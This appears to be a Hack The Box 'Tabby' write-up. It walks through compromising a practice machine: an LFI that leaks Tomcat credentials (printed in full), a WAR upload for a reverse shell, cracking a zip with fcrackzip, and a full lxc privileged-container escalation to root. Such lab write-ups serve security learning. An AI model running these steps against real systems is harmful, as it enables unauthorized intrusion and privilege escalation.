HTB : TABBY
I started the initial recon using nmap
nmap -sS -sC -sV 10.10.10.194 > rec_ini
So we that a http server is open and an Apache tomcat server is also open, along with an ssh I’ll let the al ports scan run in the backgroun while I check the web page and the tomcat.
nmap -p- -T5 10.10.10.194 > all_ports
After looking at the home page I couldn’t find much at the home page. All the links direct back to the same page.
Now I’ll take a look at the port 8080 that is the apache tomcat server. After looking at the default tomcat webpage this is what I found:
So after going through the documentation and also installing the Tomcat9 service locally I came to the conclusion that, the tomcat-users.xml can be read and there is a LFI in the Home page. After looking at the homepage I found out that there is a link which resolves to
This looks like an obvious LFI vector.
So I looked into my own installation of the tomcat server and found out that the path of the file mentioned in the server i.e
/etc/tomcat9/tomcat-users.xml cannot be accessed without the root priviledges, however there is another copy of the file in
This is actually accessible without the root priviledges.
So I tried going for the LFI in the URL
Finally the follwing command gave me the file:
The use and the password for the host-manager is:
I look into the documentation of the host-manager script api. This is what I found :
Main list of commands :
1 list 2 add 3 remove 4 start 5 stop 6 persist
curl -u test:test http://localhost:8080/host-manager/text/list
***Used for adding a new virtual host to the server
1 String name: Name of the virtual host. REQUIRED 2 String aliases: Aliases for your virtual host. 3 String appBase: Base path for the application that will be served by this virtual host. Provide relative or absolute path. 4 Boolean manager: If true, the Manager app is added to the virtual host. You can access it with the /manager context. 5 Boolean autoDeploy: If true, Tomcat automatically redeploys applications placed in the appBase directory. 6 Boolean deployOnStartup: If true, Tomcat automatically deploys applications placed in the appBase directory on startup. 7 Boolean deployXML: If true, the /META-INF/context.xml file is read and used by Tomcat. 8 Boolean copyXML: If true, Tomcat copies /META-INF/context.xml file and uses the original copy regardless of updates to the application's /META-INF/context.xml file.
curl -u test:test http://localhost:8080/host-manager/text/add?name=www.awesomeserver.com&aliases=awesomeserver.com&appBase/mnt/appDir&deployOnStartup=true
After getting the host-manager
Now we have access to the host-manager, but we need to know and control the path of the application that we want to deploy, as a vhost.
However, I found that I wasn’t able to upload any file as the host-manager though the host manager gui. So, I went back to my notes and looked at the tomcat-users.xml. I found something interesting.
<role rolename="admin-gui"/> <role rolename="manager-script"/> <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/> </tomcat-users>
It says in the role that the tomcat user has access to the manager through using the same password. Let’s try this:
curl -u tomcat http://10.10.10.194:8080/manager/text/list
We will be prompted for the password and we get the following output:
So, there are some other people running shells on the server.
Using the following way we can try to deploy our application
curl -u tomcattext:baeldung "http://localhost:8080/manager/text/deploy?path=/sample&war=file:/tmp/sample.war"
I used the following to upload the .war from my machine to the server
curl -X PUT -T "/home/dosxuz/tabby/smb/lewra.war" -u tomcat "http://10.10.10.194:8080/manager/text/deploy?path=/tmp/lewrachoda"
Then I visited the path where I uploaded my file to and got the reverse shell to my netcat:
After getting connection I spawned a python shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
I went to the temp directory and ran linpeas.sh
Found some interesting files like:
1 /var/www/html/files/16162020_backup.zip USELESS
2 Users with console:
3 This is run by the user ash
lxc exec ignite /bin/sh
4 Something interesting……..
5 16162020_backup.zip —————> Backup file found in the /var/www/html/files folder.
It seemed to be password protected. So I got it to my local machine and cracked the password using fcrackzip
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u 16162020_backup.zip
Password of the file : admin@it
After getting that password I used it to escalate my priviledge to the user ash.
After looking into the output by linpeas I came to know about the lxc group that is present in there.
Members of the sudo group are by default added to the lxc group and can be used as a priviledge escalation vector. So I clone the lxd alphine builder repository.
Then build the image using the alphine pxd builder
./build-alpine -a x86_64
The option -a defines the architecture that is 64 bit architecture.
So, we need to run this image on the server and go through the file to get to root
I used scp to transfer the image to the server
Before that I had created and placed my ssh keys to the server
scp -i ~/.ssh/id_rsa alpine-v3.12-x86_64-20200630_1510.tar.gz firstname.lastname@example.org:
Then use the following commands to create the virtual machine and run the VM
lxc image import alpine-v3.12-x86_64-20200630_1510.tar.gz --alias lewra
This will basically unpack the image and set it up.
lxc init lewra lewrachoda -c security.privileged=true
Now this will create an instance of the image that will be running
lxc config device add lewrachoda host-root disk source=/ path=/mnt/root
This lets us add the hard drive to the VM. Path defines where the VM will be mounted.
lxc start lewrachoda
This starts our VM
lxc exec lewrachoda /bin/sh
This makes our VM execute /bin/sh
So if we cd to /mnt and check we will see that there is a whole filesystem.
From here if we go to the root folder we will be able to read the root.txt